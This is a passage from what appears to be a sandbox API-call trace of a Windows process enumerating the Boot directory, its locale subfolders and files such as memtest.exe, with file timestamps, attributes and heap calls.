ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0064.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.188] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0064.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.188] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0064.190] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.190] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0064.191] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3740948 | out: hHeap=0x490000) returned 1 [0064.191] FindNextFileW (in: hFindFile=0x4a9498, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0064.191] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.191] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0064.192] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.192] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0064.192] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.192] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0064.192] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.192] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0064.192] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.192] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0064.192] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.192] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0064.193] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.193] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0064.193] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.193] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0064.193] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.193] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0064.193] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.193] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0064.193] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.193] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0064.195] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.196] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0064.196] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.196] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0064.196] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.196] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0064.196] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.196] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0064.197] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.197] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0064.197] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.197] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0064.197] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.197] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0064.197] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.197] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0064.197] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.197] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0064.198] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.198] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0064.198] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.198] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0064.198] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.198] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0064.198] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.198] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0064.199] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.199] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0064.199] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.199] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0064.199] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e6710, Size=0x4000) returned 0x4eec60 [0064.199] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0064.199] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.199] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0064.200] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd7a50 | out: hHeap=0x490000) returned 1 [0064.200] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0064.200] FindClose (in: hFindFile=0x583108 | out: hFindFile=0x583108) returned 1 [0064.200] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.200] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0064.200] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.200] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0064.200] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.200] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0064.201] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.201] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0064.201] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.201] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0064.201] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.201] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, 